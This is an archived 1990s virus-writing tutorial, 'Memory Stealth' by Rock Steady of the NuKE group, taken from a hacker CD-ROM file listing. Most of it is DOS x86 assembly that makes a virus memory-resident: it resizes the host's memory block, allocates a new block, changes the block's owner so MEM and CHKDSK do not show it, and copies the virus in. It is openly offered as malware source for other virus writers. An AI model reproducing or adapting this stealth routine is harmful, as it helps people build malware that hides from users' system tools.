home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / virus / virusprogramming / rstut009.txt < prev    next >
Encoding:
Text File  |  1996-04-16  |  5.2 KB  |  73 lines

  1.                         
  2.                   *******************************    
  3.                   **      Memory Stealth       **                              
  4.                   **                           **                            
  5.                   **    By Rock Steady/NuKE    **
  6.                   *******************************
  7.  
  8. The Advantages of having a Memory Resident Virus, are unlimited. When our  
  9. virus goes `TSR' it REALLY doesn't do ANYTHING. It just stays there,       
  10. waiting to be called upon. the 80x86 really doesn't MULTITASK, so don't    
  11. think the virus runs `in the Background' TSRs tend to hook on Interrupts,  
  12. depending what function they must do. If it must be called upon OFTEN,     
  13. hook Int 1C, if your must run when an File is Executed/Open/Close Hook     
  14. Int 21h. And everytime Int 21h is called, Your Virus Runs FIRST, then it   
  15. calls the original Int 21h.                                                
  16.                                                                            
  17. I will try to explain on how cut off a block of Memory, Then we'll         
  18. allocate memory for the Virus, change the program MCB, and move the        
  19. virus resident in memory.                                                  
  20.                                                                            
  21. para_size       equ     3                                                  
  22.                                                                            
  23.         mov     cx,es               ;Get current Segment                   
  24.         dec     cx                  ;Subtract 1, so we have MCB            
  25.         mov     es,cx               ;Restore it back to ES                 
  26.         mov     bx,es:para_size     ;BX=MCB Size in Paragraphs             
  27.         mov     dx,virus_size       ;DX=Virus Size                         
  28.         mov     cl,4                ;Unfortunately, VirusSize is in Bytes  
  29.         shr     dx,cl               ;While memory size is calculated in    
  30.         add     dx,4                ;paragraphs (16-Byte)                  
  31.         mov     cx,es               ;Start to Restore the Old Segment in ES
  32.         sub     bx,dx               ;oh, yeah, Minus Virus - Current memory
  33.         inc     cx                  ;Increment CX                          
  34.         mov     es,cx               ;Put it back, NOTICE a PUSH ES + POP ES
  35.         mov     ah,4ah              ;would have been BETTER!!!!!           
  36.         int     21h                 ;Call Dos to Adjust Memory block Size  
  37.                                                                            
  38. ; First part has been easily completed, Next code, Allocates Memory for    
  39. ; the Virus...                                                             
  40.         jc      exit_com            ;Test, incase Error Happened           
  41.         mov     ah,48h              ;Allocate Memory function              
  42.         dec     dx                                                         
  43.         mov     bx,dx               ;Number of 16-Byte Paragraphs to       
  44.         int     21h                 ;Allocate                              
  45.                                                                            
  46. ; Next this Function Returns the Segment of the Allocated memory Block     
  47. ; in AX register. So edit its MCB and move the virus resident.             
  48. mem         equ      2        ;Put theses with the rest...                 
  49.         jc      exit_com            ;Another Test for Errors...            
  50.         dec     ax                  ;Get it MCB                            
  51.         mov     es,ax               ;Put it into ES                        
  52.         mov     cx,8h                                                      
  53.         mov     es:mem,cx           ;Fix MCB PSP blocks Owner              
  54.         sub     ax,0fh                                                     
  55.         mov     di,103h             ;Offset of where virus will start.     
  56.         mov     es,ax               ;With is Segment                       
  57.         mov     si,bp               ;Put BP (Delta Offset) in SI           
  58.         add     si,offset init_virus ;Add to point to the begining of Virus
  59.         mov     cx,virus_size       ;How many Bytes to move?               
  60.         cld                         ;Clear Direction Flag (Ascending)      
  61.         repne   movsb               ;Copy from DS:SI to ES:DI              
  62.                                                                            
  63. That is all needed to do the trick. And it will not show up with the Memory
  64. Mapping Utilities like MEM or CHKDSK. However Dos will report Available    
  65. memory to be short by the Number of Paragraphs we Allocated. I will try    
  66. to fix this DARN thing that drives me crazy, I believe it can be solved    
  67. like our FCB Dir Method, Where we can add the Number of Paragraphs our     
  68. Virus Allocated back to them Memory Mapping Utilities. There IS a WAY!     
  69. And we will find it... This topic will be continued in Info Journal #5.    
  70.                                                                            
  71.                                 Rock Steady                                
  72.               `Check out N-PoX(es) to see this Routine Working'            
  73.